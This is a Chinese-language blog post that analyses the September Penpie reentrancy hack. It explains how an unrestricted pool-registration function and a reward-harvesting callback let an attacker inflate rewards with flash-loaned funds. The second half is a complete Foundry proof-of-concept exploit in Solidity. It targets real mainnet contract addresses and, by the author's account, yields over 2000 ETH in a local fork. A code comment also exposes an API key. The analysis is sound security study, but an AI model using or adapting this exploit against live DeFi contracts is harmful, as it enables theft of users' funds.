9月初发生了一次针对penpie合约的攻击,造成约2700万美金的损失。我对这次攻击进行了梳理,分析了漏洞成因,总结了攻击步骤,并且完成了一份PoC,本地测试可获利2000多ETH。本次攻击的本质是重入漏洞。
9月初发生了一次针对penpie合约的攻击,造成约2700万美金的损失。我对这次攻击进行了梳理,分析了漏洞成因,总结了攻击步骤,并且完成了一份PoC,本地测试可获利2000多ETH。本次攻击的本质是重入漏洞。
攻击分成两个步骤:准备阶段和攻击阶段。 准备阶段的transaction: https://app.blocksec.com/explorer/tx/eth/0x7e7f9548f301d3dd863eac94e6190cb742ab6aa9d7730549ff743bf84cbd21d1 攻击阶段--四个池子的攻击的transaction:https://app.blocksec.com/explorer/tx/eth/0x56e09abb35ff12271fdb38ff8a23e4d4a7396844426a94c4d3af2e8b7a0a2813?line=0 攻击阶段--两个池子的攻击的transaction:https://app.blocksec.com/explorer/tx/eth/0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5?line=29 重入痕迹:
penpie允许用户任意添加pendle市场到penpie池子中。下图是黑客的攻击准备阶段transaction:黑客首先注册了一个新的PY token,然后为这个PY创建了一个新的market,随后将这个market直接注册到了penpie池子。在后来的攻击中,penpie会回调创造者(也就是黑客)的合约,黑客就可以在回调函数中写攻击代码。
查看registerPenpiePool的实际逻辑代码: https://vscode.blockscan.com/ethereum/0x588f5e5d85c85cac5de4a1616352778ecd9110d3 可以发现registerPenpiePool的方法是外部任意调用。
然后再查看_registerMarket的权限控制:主要有三个modifier,只有onlyVerifiedMarket看起来是控制市场合约的
onlyVerifiedMarket的实现如下:调用了pendle合约isValideMarket方法确认是否为verified的市场
pendle的isValidMarket方法实现逻辑如下:只要在他维护allmarket列表里,就会返回true https://vscode.blockscan.com/ethereum/0x1A6fCc85557BC4fB7B534ed835a03EF056552D52
总结:penpie中registerPenpiePool的方法可以被任意外部调用,且对市场没有严格认证,只要在pendle创建的市场,就能注册到penpie中。
由于漏洞1的存在,任意人员可以创建pendle市场,注册到penpie,penpie在一些方法中会回调市场合约里面的函数造成重入攻击。 在batchHarvestMarketRewards函数中,调用了恶意市场的redeemRewards函数。 https://vscode.blockscan.com/ethereum/0xff51c6b493c1e4df4e491865352353eadff0f9f8
下面几个截图是恶意市场合约的代码,可以发现,通过函数一步步调用最终可以调用黑客合约(恶意SY合约地址) https://vscode.blockscan.com/ethereum/0x40789E8536C668c6A249aF61c81b9dfaC3EB8F32
总结:这个漏洞根本原因是经过一些列函数间调用,最终调用恶意合约(SY)的claimRewards方法。
基于已经掌握的两个漏洞,我们可以梳理下黑客的攻击步骤。分为两个阶段:
第1行:创建新的Princeple token和yeild token。这里注意SY地址设置成了攻击合约地址。 第10行:为新的PT和YT创建市场。 第22行:把新创建的pendle市场注册到penpie 第45行:铸造10,000,000,000个YT和PT 第57行:向市场中转帐刚才铸造的PT 第59行:市场通过刚才的转账,开始铸造LP token给黑客地址,共0.999999999999999 第85行:黑客地址把刚才收到的LP token全部质押到penpie市场。
攻击者发起了多次攻击,手法都是一样的。我按照下面这个transaction来进行分析:https://app.blocksec.com/explorer/tx/eth/0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5 下图是攻击大框架。首先贷款闪电贷,然后在还款逻辑中调用了有漏洞的batchHarvestMarketRewards函数。这里面发生的事情我们后面再讲。执行完这个漏洞逻辑后,黑客把从penpie市场质押的LPT赎回,然后在把赎回的LPT还给pendle取消流动性拿回agETH。 之后对rswETH重复上述操作。 在最后阶段,已经拿agETH和rswETH的黑客,把本金还给闪电贷。
下面我们来看batchHarvestMarketRewards中发生了什么。它首先调用了pendle市场的redeemRewards函数,这个函数会调用SY的claimRewares,由于在准备阶段我们把SY设置成了黑客的地址,所以实际调用了黑客的claimRewards函数,如下图所示:
首先把借来的agETH存入pendle市场获取LP token,然后把LP token存入penpie获取PRT。 对rswETH也是如法炮制。 为什么在重入penpie合约时,把LPtoken存入penpie 就能获利呢? https://vscode.blockscan.com/ethereum/0xff51c6b493c1e4df4e491865352353eadff0f9f8
penpie在计算用户rewards的核心公式(不是最终公式)是 originalBonusBalance = amountAfter - amountsBefore[j]; 所以只要能增加amountAfter的值,就能增加用户的rewards。 在635行计算了amountBefore 在638行开始进行重入,在重入逻辑里,黑客把闪电贷借来的所有钱都经过两次转化最终变成LP token,deposit进了penpie市场
在641行,重入入结束后,再次查询penpie账户LP token的值,也就是amountAfter,数值大增,导致rewards大增。 而这些deposit进来的LP token在rewards分配结束后,黑客通过withdrawMarket方法提走,没有损失。
我按照黑客的攻击步骤,完成了一份PoC。为了方便,把准备阶段和攻击阶段放到了同一个合约中执行。 最终获取1367个agETH,901个rswETH:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle 0xe53a90efd263363993a3b41aa29f7dabde1a932d
abstract contract myERC20 {
string public name = '';
string public symbol = '';
uint8 public immutable decimals = 18;
mapping(address => uint256) public balanceOf;
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[to] += amount;
}
function _mint(address to, uint256 amount) internal virtual {
balanceOf[to] += amount;
}
}
contract penpieAttacking is Test , myERC20{
address PendleYieldContractFactory= 0x35A338522a435D46f77Be32C70E215B813D0e3aC;
address PendleMarketFactoryV3=0x6fcf753f2C67b83f7B09746Bbc4FA0047b35D050;
address TransparentUpgradeableProxy=0xd20c245e1224fC2E8652a283a8f5cAE1D83b353a;
address TransparentUpgradeableProxy2=0x6E799758CEE75DAe3d84e09D40dc416eCf713652;
address TransparentUpgradeableProxy3=0x1C1Fb35334290b5ff1bF7B4c09130885b10Fc0f4;
address TransparentUpgradeableProxy4=0x16296859C15289731521F199F0a5f762dF6347d0;
address PENDLE_LPT1=0x6010676Bc2534652aD1Ef5Fa8073DcF9AD7EBFBe;
address PENDLE_LPT2=0x038C1b03daB3B891AfbCa4371ec807eDAa3e6eB6;
address balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address KelpDAOagETHToken=0xe1B4d34E8754600962Cd944B535180Bd758E6c2e;
address SwellNetworkrswETHToken=0xFAe103DC9cf190eD75350761e95403b7b8aFa6c0;
address market;
address PendleV4 = 0x888888888889758F76e7103c6CbF23ABbF58F946;
address nullAddress=0x0000000000000000000000000000000000000000;
uint256 lptBalanceforAgETH;
uint256 lptBalanceforrswETH;
function setUp() external {
vm.createSelectFork("https://eth.llamarpc.com", 20671878 - 1);
deal(address(this), 3e18);
}
function testAttack() external{
console.log("before Attacking: agETH is %s ",IERC20(KelpDAOagETHToken).balanceOf(address(this))/10**18);
console.log("before Attacking: rswETH is %s ",IERC20(SwellNetworkrswETHToken).balanceOf(address(this))/10**18);
//1. 创建新的市场
//1.1创建新的pt和yt
uint32 expiry=1735171200;
(address PT,address YT)= iPendleYieldContractFactory(PendleYieldContractFactory).createYieldContract(address(this),expiry,true);
//1.2 把新的pt和yt放到一个新的pendle市场里。
market = iPendleMarketFactoryV3(PendleMarketFactoryV3).createNewMarket(PT,23352202321000000000,1032480618000000000,1998002662000000);
//1.3 把新的pendle市场注册到penpie池子里
iTransparentUpgradeableProxy(TransparentUpgradeableProxy).registerPenpiePool(market);
_mint(YT,1 ether);//!!!!!!!!!!!
//1.4 铸造大量的yt与pt
PendleYieldToken(YT).mintPY(address(this),address(this));
uint256 PTBalance = PendlePrincipalToken(PT).balanceOf(address(this));
//1.5 把筑造出来的pt转给新的pendle市场
PendlePrincipalToken(PT).transfer(market, PTBalance);
_mint(market,1 ether);
//1.6 铸造LP代币
PendleMarketV3(market).mint(address(this),PTBalance,PTBalance);
//1.7 再把LP存入penpie池子,换取PRT
PendleMarketV3(market).approve(TransparentUpgradeableProxy2, type(uint256).max);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(market,PendleMarketV3(market).balanceOf(address(this)));
vm.roll(block.number + 1);
//2.正式攻击
//2.1 闪电贷
uint256 kelpBalance=IERC20(KelpDAOagETHToken).balanceOf(balancerVault);
uint256 swellBalance=IERC20(SwellNetworkrswETHToken).balanceOf(balancerVault);
address[] memory tokens=new address[](2);
tokens[0]=KelpDAOagETHToken;
tokens[1]=SwellNetworkrswETHToken;
uint256[] memory amounts= new uint256[](2);
amounts[0]=kelpBalance;
amounts[1]=swellBalance;
iBalancerVault(payable(balancerVault)).flashLoan(address(this),tokens,amounts,"");
console.log("after Attacking: agETH is %s ",IERC20(KelpDAOagETHToken).balanceOf(address(this))/10**18);
console.log("after Attacking: rswETH is %s ",IERC20(SwellNetworkrswETHToken).balanceOf(address(this))/10**18);
}
function receiveFlashLoan(address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts,bytes memory userdata) external{
address[] memory markets= new address[](1);
markets[0]=market;
iTransparentUpgradeableProxy(TransparentUpgradeableProxy2).batchHarvestMarketRewards(markets,0);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy4).multiclaim(markets);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).withdrawMarket(PENDLE_LPT1,lptBalanceforAgETH);
uint256 lptBalanceToken1=IERC20(PENDLE_LPT1).balanceOf(address(this));
IERC20(PENDLE_LPT1).approve(PendleV4,lptBalanceToken1);
pendleV4Router.SwapData memory swapData1= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
pendleV4Router.TokenOutput memory output1= pendleV4Router.TokenOutput(KelpDAOagETHToken,0,KelpDAOagETHToken,nullAddress,swapData1);
pendleV4Router.FillOrderParams[] memory fillOrderParams1= new pendleV4Router.FillOrderParams[](0);
pendleV4Router.LimitOrderData memory limited= pendleV4Router.LimitOrderData(nullAddress,0,fillOrderParams1,fillOrderParams1,"");
pendleV4Router(PendleV4).removeLiquiditySingleToken(address(this),PENDLE_LPT1,lptBalanceToken1,output1,limited);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).withdrawMarket(PENDLE_LPT2,lptBalanceforrswETH);
uint256 lptBalanceToken2=IERC20(PENDLE_LPT2).balanceOf(address(this));
IERC20(PENDLE_LPT2).approve(PendleV4,lptBalanceToken2);
pendleV4Router.SwapData memory swapData2= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
pendleV4Router.TokenOutput memory output2= pendleV4Router.TokenOutput(SwellNetworkrswETHToken,0,SwellNetworkrswETHToken,nullAddress,swapData2);
pendleV4Router.FillOrderParams[] memory fillOrderParams2= new pendleV4Router.FillOrderParams[](0);
pendleV4Router.LimitOrderData memory limited2= pendleV4Router.LimitOrderData(nullAddress,0,fillOrderParams2,fillOrderParams2,"");
pendleV4Router(PendleV4).removeLiquiditySingleToken(address(this),PENDLE_LPT2,lptBalanceToken2,output2,limited2);
IERC20(KelpDAOagETHToken).transfer(balancerVault,amounts[0]);
IERC20(SwellNetworkrswETHToken).transfer(balancerVault,amounts[1]);
}
uint256 entryClaimRewardsTimes;
function claimRewards(address market) external returns(uint256[] memory){
if (entryClaimRewardsTimes==0){
entryClaimRewardsTimes++;
return new uint256[](0);
}
if (entryClaimRewardsTimes==1){
IERC20(KelpDAOagETHToken).approve(PendleV4,type(uint256).max);
uint256 agETHBalance=IERC20(KelpDAOagETHToken).balanceOf(address(this));
pendleV4Router.SwapData memory swapData1= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
pendleV4Router.TokenInput memory tokenInput1= pendleV4Router.TokenInput(KelpDAOagETHToken,agETHBalance,KelpDAOagETHToken,nullAddress,swapData1);
pendleV4Router(PendleV4).addLiquiditySingleTokenKeepYt(address(this),PENDLE_LPT1,1,1, tokenInput1);
uint256 token1LPTBalance=IERC20(PENDLE_LPT1).balanceOf(address(this));
lptBalanceforAgETH=token1LPTBalance;
IERC20(PENDLE_LPT1).approve(TransparentUpgradeableProxy2,token1LPTBalance);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(PENDLE_LPT1,token1LPTBalance);
IERC20(SwellNetworkrswETHToken).approve(PendleV4,type(uint256).max);
uint256 rswETHBalance=IERC20(SwellNetworkrswETHToken).balanceOf(address(this));
pendleV4Router.SwapData memory swapData2= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
pendleV4Router.TokenInput memory tokenInput2= pendleV4Router.TokenInput(SwellNetworkrswETHToken,rswETHBalance,SwellNetworkrswETHToken,nullAddress,swapData2);
pendleV4Router(PendleV4).addLiquiditySingleTokenKeepYt(address(this),PENDLE_LPT2,1,1, tokenInput2);
uint256 token2LPTBalance=IERC20(PENDLE_LPT2).balanceOf(address(this));
lptBalanceforrswETH=token2LPTBalance;
IERC20(PENDLE_LPT2).approve(TransparentUpgradeableProxy2,token2LPTBalance);
iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(PENDLE_LPT2,token2LPTBalance);
}
}
function assetInfo() external view returns(uint8, address, uint8) {
return (0, address(this), 8);
}
function exchangeRate() public view returns(uint256){
return 1000000000000000000;
}
function getRewardTokens() public view returns(address[] memory){
if (market == msg.sender) {
address[] memory tokens = new address[](2);
tokens[0] = PENDLE_LPT1;
tokens[1] = PENDLE_LPT2;
return tokens;
}
}
function rewardIndexesCurrent() external returns(uint256[] memory){}
}
慢雾写的分析文章:https://mp.weixin.qq.com/s/FvRPoPkzDRtp9aeHIQAm8w 写得非常好的分析文章:https://www.cnblogs.com/ACaiGarden/p/18399387 写poc的时候参考了这个poc:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-09/Penpiexyzio_exp.sol#L211
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!